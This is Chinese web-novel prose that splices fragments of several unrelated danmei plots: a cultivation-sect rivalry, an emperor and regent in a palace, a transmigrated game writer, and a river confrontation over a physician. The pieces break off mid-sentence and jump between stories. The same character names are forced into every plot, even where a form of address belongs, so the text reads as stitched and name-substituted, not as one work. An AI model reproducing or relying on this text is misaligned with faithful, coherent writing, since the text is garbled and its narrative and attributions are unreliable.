鹦鹉:“姜沉千岁!姜沉千岁!” “姜沉和合如意!姜沉长乐未央!” “嘎阿玄笨蛋!” 赵离玄见过拂陵那么多次,从没见过他慌。这次却是真慌了,若不是隔着笼子瞧他都恨不能把鹦鹉的嘴给捏上。 鹦鹉又叫:“拂陵,拂陵!” “拂陵,拂陵,阿玄醒了没有?阿玄醒了没有?” “为何还是不醒?为何还是不醒?” “要怎么办,要怎么办。” “神明在上,无他所愿,唯愿阿玄病痛悉除,长命百岁。病痛悉除,长命百岁!病痛悉除,长命百岁!” “阿玄笨蛋!阿玄笨蛋!笨蛋!” 冬天的早上风依旧冷,阳光刺眼。 笼子被拂陵接过去。 赵离玄愣了一会儿。低头,衣襟上似乎有水渍,一滴两滴。 太不惜身,总是总把自己弄得伤痕累累。 屡屡御敌,都是灵力透支到极限仍不停手,浑身浴血也不知痛。甚至招式间,常有不惜与邪祟同归于尽的凶狠决绝。 而每次战斗结束,他也只是垂眸擦去剑上血污,那副无喜无悲、周身死寂与疲惫的模样太过不似凡人,更像是一尊正缓缓走向既定终局、随时了却人间事便消散于天地间的神祗塑像。 就连掌门将代表继承权的印信正式交予他时,他也未见欣喜。 只是漠然接过。当夜,甚至独坐峰顶,对着空茫云海喝了一整夜的闷酒。 而那位曾与他针锋相对、鸡飞狗跳的赵师兄,自那日雨夜离去后,便彻底杳无音信。 很奇怪。他在时人怨狗嫌;他走了,仙门却陡然冷清下来。 再无人高声喧哗,再无人惹祸闹腾。 赵离玄三字,很快莫名成了门中一个心照不宣的禁忌。 没了他的整个山门,都失去了鲜活的色彩。 循规蹈矩,仙风道骨,冷冷清清。 小院门边,是个新的翠竹搭就的花架。姜沉之前的小花小草,鬼灯笼、五色糖辛子、月光花,包括那一盆小葱,都整整齐齐地码在花架之上。 “这样便不用将它们留在山庄了!哎,可惜不能一辈子在戒指里生活~不然前辈你看这虎斑霞绮、林籁泉韵,又有杏雨梨云、雨条烟叶,可不是个久居避世的好地方?” 姜沉默然了半晌,放眼左右,只见满目烟波浩荡。 “可这里要如何出去呢?” 赵深笑眯眯:“不用担心,屋后有块传音石,我喊一声,这乾坤戒的主人小姜便听得到,就放我们出去了。” “也就是说,他若不想放我出去,是可以将我一辈子关在这里的。” 第 39 章 第 39 章 姜沉并不知道,两人月下私会,早就被玄火宗之人看在眼里。 一次月夜,虹铃又提着桂花酒来找他玩,却被玄火宗长老设伏,以“邪教妖女窃取山庄秘宝”之名捕杀。 自从师父郁沉影失踪,姜沉在门派受过不少冷遇委屈。 但他始终抱着一丝念想。 想着也许师父有天能回来。也许、也许 虹铃的死,彻底击碎了他的最后一点幻念。 心灰意冷地埋葬了她的尸首后,便再不回头。去了她的毒蚕教,正式走上修魔之路。 毒蚕教主穆驰十分赏识姜沉,送了他珍贵的魔剑蚀骨。总是赤着脚的苗族小姑娘阿古夏教了他毒蚕秘籍,和虹铃生得一模一样的双胞胎弟弟鸿饮,则常常都来找他喝酒。 魔教比正道更有人情味,于是姜沉在那种满了鬼灯笼的地方中,过上了一年安生的日子。 只可惜,好景不长。 一年之后,毒蚕教遭天道教为首的正道门派围攻,教门覆灭。 教主穆驰、阿古夏、鸿饮无一幸存。姜沉悲痛难抑、被魔剑蚀骨剑气侵蚀走火,疯狂屠戮了大批名门正道的侠士,从此成为了整个江湖谈之色变“琴魔”。 这是书上明写的剧情。姜沉上朝去了。 赵离玄乖乖闭目,躺得僵尸笔挺。 那边早朝钟声一响起,这边皇帝马上睁眼、掀被、落地下床一气呵成。 小侍卫和小侍女:“啊啊啊啊,赵离玄?您这!万万不可,您还不能下床的!” 赵离玄根本不理他们。赵离玄不可置信。贴近镜子左看看右看看,好像不是错觉! 他的左眼,真是绿色的??? 宫中的小镜子多是黄铜镜,照颜色时本就看不大出来。而这楚微宫唯一西洋进贡的等身水晶镜,赵离玄上次照镜又是在清晨光线不怎么好的时候。 因而时至今日才终于发现自己两只眼睛颜色并不一样! 竟是一对鸳鸯眼。 高贵清冷的波吐猫才有的罕见鸳鸯眼。 樱儿:“这,这赵离玄本来天生就有一只眼睛一直是绿色的呀!因、因为赵离玄的生母惜雪娘娘是越陆人。” 赵离玄:“原来如此。” 绝了绝了绝了。 赵离玄狂拍铜镜,瞬间满血复活。 要知道,普通京城西市的家猫三两个铜钱一只,而鸳鸯眼的波吐猫则则常能卖到五金的天价! 猫且如此,何况鸳鸯眼的人呢? 《博物志》记载,大夏与异族通婚眼睛颜色可能有异。但同时也说了,能出阴阳异色瞳之人万中无一,特别的少! 物以稀为贵。 是,姜沉你新找的美人再美,有我的鸳鸯眼有意思不?你是舍得我,你舍得我这双眼睛不? 赵离玄又彻底精神了。 两个在姜沉面前吓得如猫见虎的没用东西,他瞧都懒得多瞧他们一眼。 如赵离玄所料,侍从侍女胆小如鼠。 之前姜沉在时对着姜沉大气不敢出,而如今姜沉不在时倒也不太敢拦着他。 一炷香的时间,赵离玄已在侍从侍女哭天抢地的无效阻拦之中,迅速逛完了他这整座华丽但不算大的寝宫。 寝宫楚微宫,与记忆中相差无几。 几天前被姜沉打碎打烂的一地狼藉早被清理干净,而寝宫内的雕梁画栋依旧彩壁辉煌,而龙凤轩窗下,也已替换上了新的描金五彩玉瓶与琉璃灯盏。 赵离玄走过,骨节分明的手指划过、敲敲打打各种崭新润泽的器物装饰。 大堂上,被撕毁的山水画也已换上了新的。 新画是几幅点墨樱桃图轴,一看便是姜沉珍藏的前朝名画师唐鹤子的画作。 画师唐鹤子据说一生风流、叛道离经,虽生在著名的山水工笔画世家,却偏不喜名山大川,只爱画些花鸟果物等在家人眼里不入流的小玩意儿。 他那些“并不入流”的画在前朝不值钱,却在本朝因得了姜沉的喜欢而名声大噪,价格水涨船高。 倒也奇怪。姜沉出了名的冷厉端方、难以亲近,私底下却偏生喜欢了这唐鹤子所画的小花小草、小鸟小物,也不知是什么癖性。 听闻还收藏了一大堆。 如今眼前这副点墨樱桃画得如此水灵,旁边小黄雀又憨态可掬,多半是姜沉咬牙,从收藏里精挑细选最好的给他送来。 但是赵离玄手底下的小弟,也不乏资质不错者。 在他的常年严格鞭策下,实力渐渐成长,也有几位终于摸到了绿晶秘境的门槛。 于是新年过后,赵离玄开始组团带小弟们下秘境。 队伍倒也配合默契、战无不胜。 很快收获颇丰。 他仍不理姜沉,只偶尔在宗门大会上被师尊长老们点名表扬时,会阴阳怪气冷笑嘀咕:“那当然,如今在秘境中没了累赘拖后腿,自是一派轻松。” 是可忍孰不可忍! 姜沉身边人立刻就决定为他们的天才小师弟挣回面子。 恰逢新的绿晶秘境显现,几个实力够格的弟子便赶紧簇拥着姜沉抢先一步下去,成功抢了赵离玄一直想要的那株珍芙仙草。 这可彻底捅了马蜂窝。 隔日,赵离玄总算“理睬”姜沉了。 只是理睬的方式,是站在宗门例行的切磋擂台上,指名一对一迎战姜沉。 两人站定。难看的僵持。 最终,两边各退一步。 乌恒士兵撤去包围,赵离玄则丢下卫留夷,去查看楚丹樨伤势。 刀剑无眼,伤可见骨。 赵离玄不禁皱眉,好在他日常行医身边总不缺各类伤药,果断撕开楚丹樨伤处衣服。 “这药上去后,会有些灼痛,你忍一忍。” “少主,我不碍事……呃呜!”楚丹樨咬牙,额间渗出岑岑汗水,赵离玄则娴熟用纱布替他绑上,又用微凉的手心帮他在痛处覆了覆。 “不痛,不痛了,过一会儿就好。” 楚丹樨失血过多,冷得发抖,赵离玄脱下自己外衣给他披上,任他半靠在身上。 见他还是牙齿打颤,便干脆将人圈进怀中。 而这边,卫留夷的手臂骨折之处也鲜血渗透了衣袖,他咬牙不肯让任何人碰。只眼眶微红,直勾勾死死盯着赵离玄那边。 李钩铃:“……” 唉,怎能不气愤委屈。 之前穆神医有多心疼、多宝贝他们少主啊? 别说这骨折重伤了,就说上次城战他家少主不过被姜沉姜沉划破了一层皮,穆神医便大大地发了火,连着火攻水攻加劫营三板斧狠狠招呼一通,把姜沉追砍得至今没再敢来惹过乌恒。 可如今,他却能漠然看着他流血,目光清醒又幽凉。 偏生此刻,那被偏爱的黑衣侍卫还火上浇油! 他虽乍一看少言寡语古井无波,可偶尔抬眼看过来,眼中又明显带着情绪—— 平静的,深沉的,看似不经意的狠狠挑衅。没一刀砍死你的不甘,以及下一次一定弄死你的轻蔑。 “你……”卫留夷气急败坏,被李钩铃赶紧使劲往回扯啊扯。 侍卫又是一声难忍的呜咽,看似闭目忍痛,实则更明目张胆更往赵离玄身上靠,头埋在他颈中。 赵离玄低声安抚他:“再忍忍,就好了,有我在不会让你有事。别怕,太疼就睡一会好不好?醒了就不疼了。” 李钩铃:“少主……” 她是真的彻底拽不住了。 好在,江面不知何时淡淡烟雨落下。而她家少主也终于多少冷静下了些许,走到了赵离玄身边后,只不言不语定定看着他。 半晌,他开口:“跟我回家。” 赵离玄并未抬头,而是继续垂眸替楚丹樨处理着手腕的小伤口。 “阿玄,”良久,卫留夷声音艰涩,又重复了一次,“跟我回家。” 赵离玄垂眸,脸上全无往日的漫不经心。 百年火灵根真正拿出实力,周身灵气便骤然澎湃如滔,炽热的威压如山呼海啸,惊得周遭弟子面色骇然。 战斗结束得很快。赵离玄半死不活靠在浴桶,叫一个后悔。 赵离玄,你要记下今日这个教训! 人生果然还是不能件件事都往死里随便作的! 如果能重来。 如果能重来,赵离玄至少至少会把那一暗格的食物换个更稳妥的地方藏。 又或者,别去吼那一嗓子的“一日夫妻百日恩”。 再不济,哪怕被罚站时少腆着脸雄辩两句也好啊? 以上种种,他一样都没做到。 后果很严重。 适才一个时辰里,姜沉亲自教导他“大夏梧桐军复健术”,片刻不歇。 那复健术是专供战场中受伤士兵在伤愈能起床后用的。若能每天勤修此术,有助强健体魄更早恢复健康。 于是乎。 镇远大将军出身、南征北战过的姜沉,强迫皇帝举琉璃瓦深蹲、把皇帝摁床上抬腿、扭腰,拽胳膊拽腿拉伸,就这么生生练了一个时辰! 赵离玄一套动作累得半死,起初只顾着气喘吁吁也没劲儿多想。 直到洗完了,姜沉抱着他回寝殿,终于看见小侍女小侍从们深深怜爱的眼神! 赵离玄 赵离玄 等一下。“不是,舍不得。” 片刻后,卫留夷低声喃喃,“我想给的。只要一切能回到从前,只要阿玄能回到身边。我甚至可以抛下一切,什么都给他。” “可那些粮草,却是百姓昼夜辛苦所得,我身为一州州侯,不能擅自” 李钩铃快被他气死:“你这个人!穆玄既都答应了你会加倍奉还,你又不是信不过他。眼下稍稍节衣缩食,即可换来年加倍奉还衣食无忧,对百姓百利而无一害啊!” “更何况,穆玄还答应只要咱们出八十万石粮,洛州愿将西溪铁矿分我们一半。” “西溪铁矿只与我乌恒一水之隔,多少年说实话我真眼红不已。如今好了,咱们今日起便可派人前去开采,船运方便直达郢都。” “还有,若此次北征顺利,洛州还会长驱直上去仪州寻仇。仪州既为叛州,南越王府也会鼎力支援。如此一来都未必用得完我乌恒送去的八十万石粮草,而打下仪州土地咱们却可瓜分。如此一本万利之事,求都求不来,你是蒙了心肝么竟然推拒?” 她连珠炮一般,条理清晰陈述完全部利弊。 却见卫留夷脸色比适才还要煞白,像是被什么狠狠刺中一般,紧咬牙关。 半晌,他声音涩哑:“你觉得我在乎?” 李钩铃差点被他气当场抽过去:“咱们乌恒平常不扩张就罢了,送上门的城池都不要?” 卫留夷没有说话。 他闭上双眼,想起那个带着淡淡血腥味的吻 无数质疑、矛盾、暗恨、疯狂,在碰触的那一瞬间,烟消云散。 怀里的身躯,是温热的、鲜活的。他的阿玄还活着,只是片刻碰触,就让人心安。似乎这几个月来他也跟着他一起被埋葬心从冰冷的地下被挖出来,碰触到了一丝阳光,逐渐回暖。 那时候,他是真的什么都不想在乎了。 乌恒不管了,什么也不管,跟他携手浪迹天涯。 可短暂的温暖后,曾经全心全意爱着他的人,不肯再要他的爱了。 我适才在浴室里,都嗷嗷鬼叫了些什么? 在下人眼里,那究竟是一国之君撸砖锻炼累成那狗样,还是一国之君以色侍姜沉被|干了个惨??? 不慌!或许还能补救一下。 赵离玄:“青卿,放我下来。” 姜沉:“不。” 赵离玄 姜沉:“腰还疼不疼?明日我们继续。” 小侍女默默低头跟着,同情得都快垂泪了。 锦裕帝风评被害!!!! 回龙床趴着,赵离玄心想哪怕是为了列祖列宗的清誉他也要澄清一番。 小侍女闻樱过来,皇帝一把抓住她的胳膊。 “我,并不曾” 你可千万别出去跟你的小姐妹们胡说,到时候整个皇宫女眷全道我被姜沉酱酱酿酿,我岂不真成了小话本上面那个狗皇帝? 闻樱含泪打断他:“呜呜呜赵离玄,擦一下这个润唇油吧,赵离玄的嘴都被亲肿了。” 赵离玄当场脑梗。 我!这不是“被”亲肿的,是我主动临幸美人! 话说你那是什么笃定我被人占了便宜的同情眼神? 还有,姜沉的薄唇为什么就没有肿??? 纵姜沉如何是绝世奇才,但修为与经验的差距还是在此刻暴露无遗。 不过十招而已,他便被赵离玄几道凝练的火劲狠狠击中胸口,倒飞出去,重重砸在擂台边缘,呕出一口鲜血。 赵离玄则居高离下地看着他,衣袂飘飘:“承让。” 读者论坛上,却充斥着各种阴谋论的帖子。 尤其常年飘红的那个,观点华丽丽的是“虹铃根本没死,虹铃和鸿饮根本是同一个人,毒蚕教所有人都没死”。 毕竟,姜沉收到的那把魔剑蚀骨,本为整个江湖必争之物。 毒蚕教主好容易得了这宝物,却将它送给了认识不久的姜沉,本就不太合常理。 而后来,姜沉正是因这魔剑侵蚀而失心疯杀人,屠戮了整个盐海城。所以帖子断玄,一切都是毒蚕教主穆驰算计要将姜沉当做杀人棋子的阴谋。 帖子列出的最强力证据,便是在续篇《渡血剑》里,一个莫名其妙的蒙面黑衣人给了BOSS夜帝一把魔剑蚀骨。 这把魔剑直接导致了夜帝心智被蚀,走上了与姜沉十分相似的道路。 书上原文,描写那将魔剑给夜帝的黑衣蒙面男子“身后带着一名赤足的美丽苗疆女子,还有一位手腕系着铃铛的英俊青年”。 阿古夏不爱穿鞋。 而鸿饮的姐姐虹铃,设定是每天身上金银铃叮叮当当。 似乎确实不该有这么巧的事情。 赵深还记得当时刷这帖子时,大半夜睡不着,心脏一跳一跳背后出冷汗。当即发了个微信给大母神求证。 结果对方却不置可否,来了个“你猜”。 这种作者真的最讨厌了。 第 40 章 第 40 章 “赵编~别郁闷嘛!就算那姑娘能看上姜前辈,姜前辈又未必看得上她!而且她虽然长得还行,但我一个大直男都那么淡定,魅力说白了就是不行!何况她已经命中注定是宫渡的女人了” “我不是在生闷气,”赵深摇了摇头,“你别说话,我在疏离逻辑。” “什么逻辑?” “你不觉得这个很像虹铃的何采薇很可疑么?我脑子有点乱,你让我想一想” 切!什么可疑啊?吃干醋就直说呗,老子又不会笑你!姜慎行低笑一声,职业病地转头去寻这林子里有没有什么小宝箱可以挖。 “姜总。” “嗯?”还好小师弟吉人自有天相。 大半年后,竟还须尾俱全。 转眼新年已至,小师弟修为再度突飞猛进,接连突破了让众多师兄师姐望而却步的白晶、黄晶秘境,凭实力踏入了唯有赵离玄等少数精英弟子才能涉足的绿晶秘境。 而同时,过去一向在绿晶秘境里横着走、轻松打遍无敌手的赵师兄 竟破天荒地,开始时不时地遇险了。 渐渐,随着面冷心热的小师弟屡屡为救赵师兄受伤,众人也看穿了赵离玄全新的作案手法 “姓赵的,你这分明就是故意的!” “你竟故意引出高阶妖兽、开启隐藏机关,利用小师弟的正直纯良。意图谋害于他!” “不然如何解释,你次次遇险,却次次都能毫发无伤。” “而每次受伤的始终只有小师弟一个!”皇帝清誉,随风而逝。 姜沉却似乎心情不错。 就连在茶榻悠悠批个奏折,脸色都比平日好看许多。 也不冷着脸把狗屁不通的奏折摔地上了,甚至还能露出一抹轻飘飘的嘲讽。 赵离玄磨蹭了一会,下床。 我,丢了面子。不能再丢里子。 赵离玄在茶榻对面坐下,换了几个姿势才勉强找到一个大腿根儿不疼的坐姿。咬牙拿了一本奏章就跟姜沉相对着批起来。 姜沉:“不疼了?” 赵离玄:“我,身残志坚!”第一回 是楚丹樨先出了手,而这一回谁都没看清两人又是谁先动,只见剑刃勾起长长的火花。 楚丹樨身手凌厉敏捷,只在几招之间,卫留夷已被他打飞了出去,嘭的一声巨响撞在船舱。 乌恒军的红衣骁骑将军李钩铃,反应最是迅速。 她是从小同卫留夷一起长大的女中豪杰,几乎是在少主被击飞的同时,就提枪朝楚丹樨冲来,长枪面对长剑天然有优势,怎奈楚丹樨实在剑法高明,她一连猛攻竟被全数挡开。 直到这时,其余乌恒士兵也才一个个反应过来。 四面八方一哄而上。楚丹樨微微凝神,目光变得更加锐利。 只见他身形游走,果断抓住冲在最前的士兵甩出去,轰然撞到后面好几个人。然而船只毕竟狭小,哪怕速度再快功夫再好,也抵不过一波又一波向上冲的士兵。 很快,李钩铃的长枪狠厉透过他的左肩,另一名士兵则刺中他的腰部。 “呜……” 楚丹樨闷哼一声,鲜血顿时从伤口涌了出来。他身子晃了几晃,却更是狠狠咬了牙,更加疯了一般见人就砍。 乌恒军源源不断,你一刀,我一刀。 再是骁勇的剑士,如此寡不敌众只有被屠戮的份。李钩铃见他逐渐露出疲态破绽,在旁找准时机,提枪正要致命一击,忽听赵离玄一声低吼:“住手——!” 适才,所有人都盯着楚丹樨围攻。 以至于无人注意到,赵离玄不知何时竟从另一边杀出一条路,径直朝卫留夷而去。此时更已直接将乌恒侯卫留夷受伤骨折的双手扣在身后,将他整个人挟持在船的死角。 一把雪刃架上脖子,李钩铃心中大喊失误。 待看清卫留夷那一刻的表情,更是五味陈杂—— 某种程度上,赵离玄这一招当然是极其正确的决定。三军先擒王,一瞬间就挟住了乌恒全军,谁也不敢妄动。 但同时也是极其错误的决定。 因为卫留夷明显直接被这一弄给刺激疯了。 他脖子紧贴着利刃,微微渗血,人却是咬牙切齿,不要命一般嘶声怒吼:“杀了他!阿铃——不要管我,先杀了那侍卫!” 赵离玄:“李钩铃,别碰他!” “敢碰他一下,今天就是大家一起玉石同焚!” 卫留夷闻言更疯,目眦欲裂眼眶发红:“李钩铃——今天就算我死了,你也要给我杀把他杀了!动手!” 他像已全然不顾死活。若是抹脖子能不死的话,李钩铃觉得她家少主此刻已气到恨不得能当场往赵离玄那刀上抹过去。 他与少主从小一同长大,这些年来,也一直陪在少主左右辅佐。 少主与“神医穆玄”的种种,她亦全程看在眼里。 之前换髓之事,她坚决反对。 可偏偏他家少主执迷不悟非要救叶瑾棠、不听她的劝。 后来,叶瑾棠被救,成了赵离玄一命换一命,他家少主又发了疯,成日抱着件旧衣不说话,成夜成夜的睡不着,甚至大半夜喃喃着“我想再看阿玄一眼”,而干出了丧心病狂去地宫挖坟掘尸的荒唐事。 也得亏他挖了,才发现尸身消失之事。 李钩铃奉命追查。 种种线索,机缘巧合,她合理怀疑“穆玄”会不会就是鼎鼎大名的“月华城主赵离玄”。 江湖上关于月华城主的传闻许多。 真真假假,难以言说。 有的说他才华横溢,有的说他俊朗无双,有的说他见一个爱一个风流薄幸,有的说他深沉诡谲玩弄人心,有的说他孤高自持,有的说他丑陋不堪,通俗说法是他跟谁都有一腿,话本说法是谁都不肯要他。 这一个月,本就狼狈不堪的卫留夷在这众说纷纭中备受折磨。 终于两日之前,有情报说月华城主要下洛州短住。卫留夷听闻立刻来江上堵,整整堵了两天一夜,未曾合眼。 李钩铃的心亦跟着忐忑。 既怕堵到的是穆神医,更怕堵到的不是他,那两日时时漫长、实在煎熬。 好在如今尘埃落定,总算是堵着了活人,可偏他身边却又多了个清峻的黑衣男子。 船舱里全是两个人的生活物件,以及目测是穆神医沿途买给新欢的一堆小玩意小礼物,看着甜蜜和美。 怎么能怪卫留夷瞬间气疯,恨不得能当场把这黑衣男子碎尸万段? 楚微宫盛景,摄政王与傀儡皇帝面对批奏章。 黄昏时批完了,赵离玄:“嚯,我比爱卿还多批了不少!” 姜沉不语,只从赵离玄那堆折子中掀出来两片夹在其中垫着的琉璃瓦。 姜沉觑他:“有趣?” “青卿嘴上说我无趣,却还不是笑了。” 姜沉脸一黑,不理他,扯被拽住的袖子。 但狗皇帝哪有那么好打发?手指一勾一勾爬上来,攀上他的指尖酥酥麻麻。 “青卿,之前确实是我不对。” “不该那般不光明磊落,是我错了。” “咳,那既然错了,我便光明正大再跟青卿提一回。青卿,《起居注》就拿给我看看呗?我就看一眼,看完便完璧归赵。” “青卿” “我也不是有意要为难你,可青卿也替我想想。” “我什么都不记得了,自是深感不安。” “自打醒来,一直都惶惶不可终日,不知如何自处。” 姜沉 姜沉:“赵离玄,你又演。” 赵离玄深感敬佩!!! 这人,真不愧是能把我给金屋藏帝的男人。我肚子里的蛔虫有几根都被他摸透了一样! 但他努力稳住表情,继续真诚:“没演。” 姜沉不说话,一双浅眸审视着他。 皇帝:“青卿,我这次真的没说谎。” “青卿不要生气了好不好?笑一笑,其实青卿笑起来很好看的,别总那么严肃。” “青卿” “青卿总说我只记得旁人,不记得你,其实, 我还是记得一些青卿的事情的。” “比如,青卿喜欢唐鹤子的画,喜欢吃又甜又糯的糕点,还有” 寝宫一片安静。 姜沉脸上虽冰冷一片,却是认真在听,眼中浮光微动。 赵离玄一下来劲了。 他虽本是存着讨好的心,想跟姜沉说些好听的软磨硬泡。可此刻不却同了! 姜沉眼里的浮光是真的很美,让人心醉。 弄得昏君一时再不想别的,只想要说出点什么东西博姜沉一笑。 “青卿,我还记得” 乐极生悲。 赵离玄想得拼命,轰然迎来一阵剧烈刺骨的头痛。 “呜” 他闷哼一声,眼眶火烧一样,一头栽进姜沉怀里。 姜沉:“阿玄!” “阿玄你怎么了?阿玄!” “够了,阿玄!别再想了,阿玄,阿玄!” 姜沉将他紧紧拥入怀中,吼着传太医。 赵离玄疼得气若游丝中,莫名想起之前某日,他躺在茶榻上套闻樱和云飞的话。 那两人胆小谨慎,一般套不出来什么,那日却让他给得了逞。 “哎,问你们啊,我身为一国之君,于姜沉之外还有几个别的后妃子嗣啊?” 两人吓坏了:“没有没有绝对没有,赵离玄身边自始至终就只有姜沉一人!不曾有其他,姜沉亦是一样!” 不曾有其他。 可要知道,他毕竟二十八了。赵离玄说完这话,看向书锦锦。 邵霄凌仍懵着。 书锦锦点了点头:“确实,南栀他也是这么想的。” “少主你勿怪姐姐这话又提起伤心事。当年咱们侯爷与仪州侯樱祖几十年的情谊,从未想过遭其背叛,可结果如何你也看到了。” “这乱世之中,情谊不值钱。” “何况你看那卫留夷,此次过来行事疯癫、不顾后果,便是这半年不曾落井下石,谁又知道以后如何?” “咱们此次出征北上,乃是调出洛州全部将士孤注一掷。到时州府安沐空虚,一旦卫留夷回到乌恒,与仪州、东泽抑或西凉互相勾结,我军腹背受敌,将死无葬身之地。” “南栀也正是因为顾虑到这一点,才会只敢带小半兵力出征,才至如今被困沙唐。” 邵霄凌:“原来,竟是如此。” 洛南栀是考虑他与州府安危,才会被困边疆。 书锦锦点头:“半年而已,前车之鉴,洛州已经付出惨痛代价,无论如何绝不可重蹈覆辙。” “哪怕枉顾昔日情谊,也该听月华城主的扣下卫留夷。宁教我负天下人,先下手为强。” 身为帝王却不曾纳一个后妃,是为了谁。 那既然他与姜沉只有彼此 岂不是很相爱,又何以至此。 赵离玄又痛又晕,想不下去了。整个人如风浪中的一叶扁舟。 太医来了忙前忙后。 其间,姜沉就一直紧紧抱着他。哄他、安抚他,轻吻他的额角。 对此指责,赵离玄托着腮,辩驳得那叫一个轻松写意,理直气壮。 “小阿沉受伤,当然是因他偏科啊。” “师尊不也苦口婆心劝了他多次了,奈何他依旧执意只修攻击而不理防御,劝不动啊。” “这般专精一处,固然能进步神速,但也确有隐患就是容易受伤不是?" 众人气结,有人站住来: “既然如此,一起遇险时,师兄你攻守兼备,为何不能多护着他些?” “我护了啊,”赵离玄一脸无辜,“不然你们以为他怎么能次次活着回来?全靠我舍命相护啊!” “救、救命。” “啊?” “噗”回过头,只见赵深从刚才的“仰望星空思考人生”的严肃状,陡然切换成抖抖抖一脸崩溃。 他的腿上,此刻正粘附着一只硕大的绿色的、果冻状软软的 “这什么玩意儿啊这姜总?”声音飘得厉害,平日里引以为傲的低音炮再度尖利伪娘音,“你们游戏里还有史莱姆的?咱这不是东方玄幻吗?” “这应该是黏怪吧。” 姜慎行回忆着海量的怪物设定集,再看看那东西的颜色,默默从口中掏出一包猕猴桃口味吸吸冻。 “不过黏怪确实不该这么大只。难道因为雨前空气潮湿,所以膨胀了?” “你别站着不动!快帮我拿树枝戳掉啊啊!” “没事的啦!黏怪攻击力低到可以忽离,赵编你之前战五渣的水平打它也够了。你现在不是已经能徒手劈砖吗?”啊~可以吸的果冻好好次。 “我不是”我不是打不过它!转眼间,那绿色的黏怪已经从小腿爬到了大腿,是那个质感太恶心了我完全不想碰它啊啊啊! 你是黏怪又不是触|手!走开!别黏糊糊的碰我敏感部位! “哦我吃东西呢空不下手。不然宫渡,你帮他一下?” 宫渡扭过头去,大写的嫌弃脸。 不,渡儿!渡儿你之前不是一向很乖的吗救救为师!卧槽爬到胸口了已经!那黏腻冰凉的触感浑身寒毛都炸起来了啊啊啊! 呜哇脖子!我不想跟你脸对脸亲密接触啊啊啊! 姜前辈,救我~《 》 40-50 第 41 章 第 41 章 数日后,秦熠故意召集全庄弟子在演武场开会,弄得整个山庄四处空荡荡的,然后借故开溜,偷摸过来给众人送行。 “师兄、执剑长老,还有渡儿和余生,别的我都不多说了,你们今后路上一定要小心。” 他说到此处,眼神暗了暗:“出了这门,枫叶山庄之后便不能继续护着各位。执剑长老,我师兄他以后就全拜托你照顾了。” “你放心,”赵深也知道秦熠的难处,“我们几个自会努力不暴露身份,若真不慎没藏住,掌门便只跟人说是我协助他跑了就是,都推成赵门的责任,与枫叶山庄无关。” “师父~沐萱舍不得你走啊。” 月沐萱是过来搬姜沉带不走的那些花花草草的。 见了赵离玄出来,立即行礼并递上一物:“师父!您请笑纳!” 她不提,赵深都快忘了当她“师父”这一茬了。 面存怀疑地拆开她递过来的小荷包呜!是一枚粉色莲花图案的戒指! 咳,被女主送了戒指。这尼玛,绿帽死亡FLAG又立起来。 “此乃月莲教信物,师父这番出行山高路远。若是路上缺了盘缠,或是遭遇什么麻烦,月莲教见此戒如见沐萱,师父尽管差遣他们就好!” “看吧~阿熠名门正道顾这顾那的好没劲,可我们魔教就不一样啦!” 赵深当下,还真有那么三秒钟的小感动。谁让他太傲。 总是虚荣夸耀、争强好胜、心高气傲、目中无人。 其实仙门对“傲”的容忍度是很高的。毕竟能来修仙的,谁在人间界还不是个天赋异禀或者家产万贯? 整个仙门上下,豪强门阀送来的少爷小姐可谓一抓一把,一个比一个盛气凌人。 但问题在于,赵离玄并非其中之一。姜沉静静瞧了皇帝一会儿,只目光渐冷。 他捉住皇帝。晨光熹微,姜沉:“拂陵。” 拂陵心领神会,眯眼抱起几本折子。同是那日晌午。 京城西市边上大理寺卿奚府,青黑色的屋瓦上盖了一层细细白雪。 水运仪滴答滴答。一名男子坐在轮椅上。 厅内阴然森冷,轮椅边是一口肃穆棺材。距离早朝已过去三个多时辰,没有任何消息回来。 男子闭上眼睛,似又回到昨夜。 奚行检披着睡衣,烛火映着那双灰色双眸坚定。 “即便没有我,大夏尚有徐卿、有荀长、有师律,有当年帝师无数门生满天下,忠义之火永不灭。” “倘若赵离玄真已遭蒙大难,奚某身为人臣又怎可装聋作哑、苟且偷生。徐卿他且有老父老母尚需侍奉,而我孤家寡人、刚好一身轻松。” “我站出来,最不会连累任何人。” “姜沉无论如何也抄不到我九族,他自己便是我九族。” 正午的钟声咚咚敲响,打断回忆。 奚行检还是迟迟未归。 男子望向身旁的桐木棺椁。大夏的棺材又高又大,三两个人也装得下,与他的故国瀛洲的很是不一样 突然门口骚动。 男子:“奚卿!” 他转着轮椅去往门口,门口却并非奚行检。 却也全都面熟都是奚府多年的仆从杂役。 奚行检因怕犯事连累到他们,前几日已各自发钱将人全部遣散回家。却不成想,这群人此刻竟又都跑了回来。 花匠:“奚大人铁骨铮铮一心为国,身为家奴与有荣焉、不怕牵连!” 管家:“老仆已在奚府干了多少年,势必要照顾到少爷到最后的。” 厨娘:“老太婆我的丈夫儿子都是赵离玄和青天大老爷奚大人救的,老太婆无以为报,活一天就在奚府做一天糕饼给奚大人吃。” 侍卫:“裴公子都留下来了,我们又怕什么?” 男子:“你们” “啊啊啊啊快看!奚大人回来了!” “嗷嗷嗷真的!还有徐大人!” “一起下朝回来了!” “啊啊啊奚大人果然没事!我就说怎么来着,青天大老爷吉人有天相没错吧?给钱给钱!” “大理寺卿忧心赵离玄,赵离玄若知必然十分感动。但此处仍有几份要件,需大理寺卿先行过目。” 奚行检:“你少来这” 话没说完便被徐子真狠狠踩了一脚:“奚卿!” 他一边帮忙接过折子,另一只手一边死命掐奚行俭的屁股。 幸好你是姜沉他叔,姜沉仍给你几分薄面! 都扔台阶给你下了!快给我下! 奚行俭却仍旧一脸宁死不屈,直到徐子真翻开折子忽然愣住。 一脸不能置信,戳他,又戳他。 奚行俭低下头,只见折子里红色的朱批,熟悉的草书赫然纸上 “奚卿我觉得此处大有破绽。” “我观此建议觉得甚是不错奚卿以为如何?” “我安好,伤好了许多,这几日食欲旺每天吃七顿。” 奚行检 徐子真 奚行检 徐子真 姜沉冷笑:“看完了?大理寺卿意下如何?” 徐子真:“咳!呵呵呵呵姜沉莫怪,都怨下官昨日得了一坛桂花好酒,邀请奚卿赵饮不慎喝多,害奚卿宿醉未醒,适才许多胡话!” 姜沉:“哦?” “即是如此,大理寺卿下次再饮酒,记得多吃两口菜。” 奚行检:“你!” 他一向惯常阴阳怪气别人,何曾被人阴阳怪气过。徐子真赶紧又拼命拽他、掐他、拖他。 姜沉:“呵。” 他冷冷放下轿帘,闷闷闭目养神。 心道阿玄,真不愧是你批奏章时一眼相中的国。家。栋。梁。们。 个个跟你一样会蹿会跳! 凉冰冰的手把玩着皇帝颊边的碎发,指尖距离赵离玄的脖子一寸之遥。 